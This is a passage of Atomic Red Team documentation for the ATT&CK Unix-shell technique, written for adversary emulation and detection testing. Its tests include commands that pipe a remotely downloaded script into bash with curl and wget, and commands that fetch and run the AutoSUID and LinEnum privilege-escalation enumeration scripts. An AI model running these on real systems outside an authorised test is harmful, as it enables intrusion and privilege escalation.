# T1059.004 - Command and Scripting Interpreter: Bash

## Description from ATT&CK

> Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.
> 
> Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
> 
> Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
> 
> Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.

[Source](https://attack.mitre.org/techniques/T1059/004)

## Atomic Tests

- [Atomic Test #1: Create and Execute Bash Shell Script](#atomic-test-1-create-and-execute-bash-shell-script)
- [Atomic Test #2: Command-Line Interface](#atomic-test-2-command-line-interface)
- [Atomic Test #3: Harvest SUID executable files](#atomic-test-3-harvest-suid-executable-files)
- [Atomic Test #4: LinEnum tool execution](#atomic-test-4-linenum-tool-execution)
- [Atomic Test #5: New script file in the tmp directory](#atomic-test-5-new-script-file-in-the-tmp-directory)
- [Atomic Test #6: What shell is running](#atomic-test-6-what-shell-is-running)
- [Atomic Test #7: What shells are available](#atomic-test-7-what-shells-are-available)
- [Atomic Test #8: Command line scripts](#atomic-test-8-command-line-scripts)
- [Atomic Test #9: Obfuscated command line scripts](#atomic-test-9-obfuscated-command-line-scripts)
- [Atomic Test #10: Change login shell](#atomic-test-10-change-login-shell)
- [Atomic Test #11: Environment variable scripts](#atomic-test-11-environment-variable-scripts)
- [Atomic Test #12: Detecting pipe-to-shell](#atomic-test-12-detecting-pipe-to-shell)
- [Atomic Test #13: Current kernel information enumeration](#atomic-test-13-current-kernel-information-enumeration)
- [Atomic Test #14: Shell Creation using awk command](#atomic-test-14-shell-creation-using-awk-command)
- [Atomic Test #15: Creating shell using cpan command](#atomic-test-15-creating-shell-using-cpan-command)
- [Atomic Test #16: Shell Creation using busybox command](#atomic-test-16-shell-creation-using-busybox-command)
- [Atomic Test #17: emacs spawning an interactive system shell](#atomic-test-17-emacs-spawning-an-interactive-system-shell)

### Atomic Test #1: Create and Execute Bash Shell Script

Creates and executes a simple sh script.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `7e7ac3ed-f795-4fa5-b711-09d6fbe9b873`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| script_path | Script path | path | /tmp/art.sh|
| host | Host to ping | string | 8.8.8.8|

#### Attack Commands: Run with `sh`!

```sh
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
```

#### Cleanup Commands

```sh
rm #{script_path}
```
### Atomic Test #2: Command-Line Interface

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `d0c88567-803d-4dca-99b4-7ce65e7b257c`

#### Attack Commands: Run with `sh`!

```sh
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
```

#### Cleanup Commands

```sh
rm /tmp/art-fish.txt
```
### Atomic Test #3: Harvest SUID executable files

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

**Supported Platforms:** Linux

**auto_generated_guid:** `46274fc6-08a7-4956-861b-24cbbaa0503c`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| autosuid | Path to the autosuid shell script | path | PathToAtomicsFolder/T1059.004/src/AutoSUID.sh|
| autosuid_url | Path to download autosuid shell script | url | https://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh|

#### Attack Commands: Run with `sh`!

```sh
chmod +x #{autosuid}
bash #{autosuid}
```

#### Cleanup Commands

```sh
rm -rf #{autosuid}
```

#### Dependencies: Run with `bash`!

##### Description: AutoSUID must exist on disk at specified location (#{autosuid})

###### Check Prereq Commands

```bash
if [ -f #{autosuid} ]; then exit 0; else exit 1; fi;
```

###### Get Prereq Commands

```bash
curl --create-dirs #{autosuid_url} --output #{autosuid}
```

### Atomic Test #4: LinEnum tool execution

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

**Supported Platforms:** Linux

**auto_generated_guid:** `a2b35a63-9df1-4806-9a4d-5fe0500845f2`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| linenum | Path to the LinEnum shell script | path | PathToAtomicsFolder/T1059.004/src/LinEnum.sh|
| linenum_url | Path to download LinEnum shell script | url | https://raw.githubusercontent.com/rebootuser/LinEnum/c47f9b226d3ce2848629f25fe142c1b2986bc427/LinEnum.sh|

#### Attack Commands: Run with `sh`!

```sh
chmod +x #{linenum}
bash #{linenum}
```

#### Cleanup Commands

```sh
rm -rf #{linenum}
```

#### Dependencies: Run with `bash`!

##### Description: LinnEnum must exist on disk at specified location (#{linenum})

###### Check Prereq Commands

```bash
if [ -f #{linenum} ]; then exit 0; else exit 1; fi;
```

###### Get Prereq Commands

```bash
curl --create-dirs #{linenum_url} --output #{linenum}
```

### Atomic Test #5: New script file in the tmp directory